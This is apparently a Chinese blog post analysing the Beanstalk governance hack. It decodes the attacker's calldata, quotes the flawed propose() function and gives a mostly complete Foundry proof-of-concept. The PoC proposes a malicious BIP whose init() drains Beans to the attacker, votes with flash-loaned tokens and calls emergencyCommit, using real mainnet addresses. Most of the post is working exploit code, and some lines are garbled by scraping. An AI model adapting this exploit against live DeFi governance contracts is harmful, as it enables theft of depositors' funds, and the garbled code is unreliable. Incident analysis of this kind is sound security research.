本文作者:bixia1994[1]
Ref:
Beanstalk[2] Hack
https://etherscan.io/tx/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f
https://versatile.blocksecteam.com/tx/eth/0x68cdec0ac76454c3b0f7af0b8a3895db00adf6daaf3b50a99716858c4fa54c6f
https://twitter.com/BlockSecTeam/status/1515732238612430849
Attack:
- propose((address,uint8,bytes4[])[],address,bytes,uint8)
[0x00]: 0000000000000000000000000000000000000000000000000000000000000080//loc
[0x20]: 000000000000000000000000e5ecf73603d98a0128f05ed30506ac7a663dbb69//address
[0x40]: 00000000000000000000000000000000000000000000000000000000000000a0//bytes calldata
[0x60]: 0000000000000000000000000000000000000000000000000000000000000003//uint8
[0x80]: 0000000000000000000000000000000000000000000000000000000000000000//address
[0xa0]: 0000000000000000000000000000000000000000000000000000000000000004//uint8
[0xc0]: e1c7392a00000000000000000000000000000000000000000000000000000000//bytes4 - init()
代码语言:javascript复制enum FacetCutAction {Add, Replace, Remove}
struct FacetCut {
address facetAddress; //address(0)
FacetCutAction action; //uint
bytes4[] functionSelectors;
}
function propose(
IDiamondCut.FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata,
uint8 _pauseOrUnpause
)
external
{
//s.a[account].roots > 0;
require(canPropose(msg.sender), "Governance: Not enough Stalk.");
//ok for first propose
require(notTooProposed(msg.sender), "Governance: Too many active BIPs.");
require(
_init != address(0) || _diamondCut.length > 0 || _pauseOrUnpause > 0,
"Governance: Proposition is empty."
);
uint32 bipId = createBip(
_diamondCut,
_init,
_calldata,
_pauseOrUnpause,
C.getGovernancePeriod(),
msg.sender
);
s.a[msg.sender].proposedUntil = startFor(bipId).add(periodFor(bipId));
emit Proposal(msg.sender, bipId, season(), C.getGovernancePeriod());
_vote(msg.sender, bipId);
}
Analysis:
POC
代码语言:javascript复制pragma solidity 0.8.12;
import "ds-test/test.sol";
import "forge-std/stdlib.sol";
import "forge-std/Vm.sol";
contract BeansAddr is DSTest, stdCheats {
address public constant hacker = 0x1c5dCdd006EA78a7E4783f9e6021C32935a10fb4;
//prettier-ignore
address public constant hackerContract = 0x1c5dCdd006EA78a7E4783f9e6021C32935a10fb4;
//prettier-ignore
address public constant BeansTalk = 0xC1E088fC1323b20BCBee9bd1B9fC9546db5624C5;
//prettier-ignore
address public constant BeansTalkImpl = 0xf480eE81a54E21Be47aa02D0F9E29985Bc7667c4;
address public constant router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
address public constant beans = 0xDC59ac4FeFa32293A95889Dc396682858d52e5Db;
address public constant WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;
address public constant pair = 0x87898263B6C5BABe34b4ec53F22d98430b91e371;
//prettier-ignore
address public constant pair2 = 0xEd279fDD11cA84bEef15AF5D39BB4d4bEE23F0cA; //LUSD-OHM
address public constant DAI = 0x6B175474E89094C44Da98b954EedeAC495271d0F;
address public constant USDC = 0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48;
address public constant USDT = 0xdAC17F958D2ee523a2206206994597C13D831ec7;
address public constant AAVE = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9;
//prettier-ignore
address public constant Curve_Bean_LUSD = 0xD652c40fBb3f06d6B58Cb9aa9CFF063eE63d465D;
//prettier-ignore
address public constant Curve_Bean_3Crv = 0x3a70DfA7d2262988064A2D051dd47521E43c9BdD;
//prettier-ignore
address public constant Curve_LUSD_3Crv = 0xEd279fDD11cA84bEef15AF5D39BB4d4bEE23F0cA;
}
interface ERC20Like {
function balanceOf(address owner) external view returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transfer(address to, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface BeansTalkLike {
struct FacetCut {
address facetAddress;
uint8 action;
bytes4[] functionSelectors;
}
struct Claim {
uint32[] beanWithdrawals;
uint32[] lpWithdrawals;
uint256[] plots;
bool claimEth;
bool convertLP;
uint256 minBeanAmount;
uint256 minEthAmount;
bool toWallet;
}
function deposit(address token, uint256 amount) external;
function activeBips() external view returns (uint32[] memory);
function depositBeans(uint256 amount) external;
function season() external view returns (uint32);
function withdrawBeans(uint32[] calldata crates, uint256[] calldata amounts)
external;
function claimAndWithdrawBeans(
uint32[] calldata crates,
uint256[] calldata amounts,
Claim calldata claim
) external;
function propose(
FacetCut[] calldata _diamondCut,
address _init,
bytes calldata _calldata,
uint8 _pauseOrUnpause
) external;
function vote(uint32 bip) external;
function emergencyCommit(uint32 bip) external;
function balanceOfRoots(address account) external view returns (uint256);
}
interface PairLike {
function swap(
uint256 amount0Out,
uint256 amount1Out,
address to,
bytes calldata data
) external;
function getReserves()
external
view
returns (
uint112 _reserve0,
uint112 _reserve1,
uint32 _blockTimestampLast
);
function token0() external view returns (address);
}
interface RouterLike {
function factory() external view returns (address);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] memory path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
}
//forge test --match-contract BeansHack --fork-url $ETH_RPC_URL --fork-block-number 14595905 -vvvv
contract HackerHelper is BeansAddr {
address public immutable owner;
constructor() {
owner = msg.sender;
}
function init() public {
emit log_named_address("msgSender", msg.sender);
emit log_named_address("address this", address(this));
emit log_named_address("beans", beans);
// emit log_named_uint("beans balance", ERC20Like(beans).balanceOf(address(this)));
ERC20Like(beans).transfer(
address(owner),
ERC20Like(beans).balanceOf(address(this))
);
}
}
///it is used to vote for the pid
///first vote for bip, then transfer back all the tokens.
///1. vote
///2. transfer
///3. selfdestruct
contract HackerVoter is BeansAddr {
address public immutable token;
constructor(address _token) {
token = _token;
ERC20Like(token).approve(BeansTalk, type(uint256).max);
}
function start(uint32 bip, address _token) public {
uint256 amount = ERC20Like(_token).balanceOf(address(this));
BeansTalkLike(BeansTalk).depositBeans(amount);
vote(bip);
}
function vote(uint32 bip) public {
emit log_named_uint("voted for bip", bip);
BeansTalkLike(BeansTalk).vote(bip);
}
}
//propose, vote, execute
contract Hack is BeansAddr {
HackerHelper public helper;
uint32 public bip;
uint256 public amountBorrowed;
constructor() public {
helper = new HackerHelper();
ERC20Like(beans).approve(router, type(uint256).max);
ERC20Like(beans).approve(BeansTalk, type(uint256).max);
}
function start() public payable {
///1. swap eth for beans to propose
address[] memory path = new address[](2 "] memory path = new address[");
path[0] = address(WETH);
path[1] = address(beans);
RouterLike(router).swapExactETHForTokens{value: msg.value}(
1,
path,
address(this),
type(uint256).max
);
res("after swap eth for beans");
///1.2 depositBeans
uint256 amount = ERC20Like(beans).balanceOf(address(this));
BeansTalkLike(BeansTalk).depositBeans(amount);
res("after depositBeans");
///2. propose
BeansTalkLike.FacetCut[]
memory _diamondCut = new BeansTalkLike.FacetCut[](0 "" "");
BeansTalkLike(BeansTalk).propose(
_diamondCut,
address(helper),
abi.encodeWithSelector(HackerHelper.init.selector),
1 //unpause??? not sure
);
uint32[] memory bips = BeansTalkLike(BeansTalk).activeBips();
bip = bips[bips.length - 1];
res("after propose");
///2.1 withdrawBeans
uint32[] memory crates = new uint32[](1 "] memory crates = new uint32[");
crates[0] = BeansTalkLike(BeansTalk).season();
uint256[] memory amounts = new uint256[](1 "] memory amounts = new uint256[");
amounts[0] = amount;
// BeansTalkLike(BeansTalk).withdrawBeans(crates, amounts);
res("after withdrawBeans");
}
function uniswapV2Call(
address sender,
uint256 amount0,
uint256 amount1,
bytes calldata data
) external {
uint256 amount = amount0 == 0 ? amount1 : amount0;
for (uint256 i = 0; i < 4; i ) {
HackerVoter voter = new HackerVoter(beans);
ERC20Like(beans).transfer(address(voter), amount);
voter.start(bip, address(beans));
}
}
function repay() public {
uint256 amount = (amountBorrowed * 100301) / 100000;
ERC20Like(beans).transfer(pair, amount);
}
function execute() public {
///3. use flashloan to vote
(uint256 r0, uint256 r1, ) = PairLike(pair).getReserves();
(uint256 amount0Out, uint256 amount1Out) = PairLike(pair).token0() ==
WETH
? (uint256(0), r1 - 1)
: (r0 - 1, uint256(0));
amountBorrowed = amount0Out == 0 ? amount1Out : amount0Out;
PairLike(pair).swap(amount0Out, amount1Out, address(this), "0x01");
BeansTalkLike(BeansTalk).emergencyCommit(bip);
repay();
}
function executePoc() public {
///just do a POC, tip lots of beans token, and deposit into it. and then vote.
///no withdraw
uint256 amount = ERC20Like(beans).balanceOf(address(this));
// BeansTalkLike(BeansTalk).depositBeans(amount);
HackerVoter voter = new HackerVoter(beans);
ERC20Like(beans).transfer(address(voter), amount);
voter.start(bip, address(beans));
BeansTalkLike(BeansTalk).emergencyCommit(bip);
}
receive() external payable {}
function res(string memory str) public {
emit log_named_string("current stage ==============>", str);
emit log_named_uint(
"beans balance",
ERC20Like(beans).balanceOf(address(this))
);
emit log_named_uint(
"beans balanceOfRoots",
BeansTalkLike(BeansTalk).balanceOfRoots(address(this))
);
emit log_named_uint(
"season",
uint256(BeansTalkLike(BeansTalk).season())
);
emit log_named_uint("bip", uint256(bip));
emit log_named_uint("beans balance of Uni pool", ERC20Like(beans).balanceOf(
address(pair)
));
emit log_named_uint("beans balance of 3Cur pool", ERC20Like(beans).balanceOf(
address(Curve_Bean_3Crv)
));
emit log_named_uint("beans balance of LUSD pool", ERC20Like(beans).balanceOf(
address(Curve_Bean_LUSD)
));
}
}
contract BeansHack is BeansAddr {
Vm public vm = Vm(HEVM_ADDRESS);
Hack public hack;
function setUp() public {
vm.label(hacker, "hacker");
vm.label(BeansTalk, "BeansTalk");
vm.label(BeansTalkImpl, "BeansTalkImpl");
hack = new Hack();
}
function _test_Reply() public {
vm.startPrank(hacker);
address(BeansTalk).call(
hex"956afd680000000000000000000000000000000000000000000000000000000000000080000000000000000000000000e5ecf73603d98a0128f05ed30506ac7a663dbb6900000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000000000000000000000000000000000000000000300000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000004e1c7392a00000000000000000000000000000000000000000000000000000000"
);
}
function test_start() public {
hack.start{value: 70 ether}();
vm.warp(block.timestamp 1 days);
tip(beans, address(hack), (29127874302270 30432240612182 306421696029)*8);
emit log_named_uint(
"hack beans balance",
ERC20Like(beans).balanceOf(address(hack))
);
hack.executePoc();
}
function _test_Params() public {
hack.res("before propose");
}
}
参考资料
[1]
bixia1994: https://learnblockchain.cn/people/3295
[2]
Beanstalk: https://learnblockchain.cn/article/3909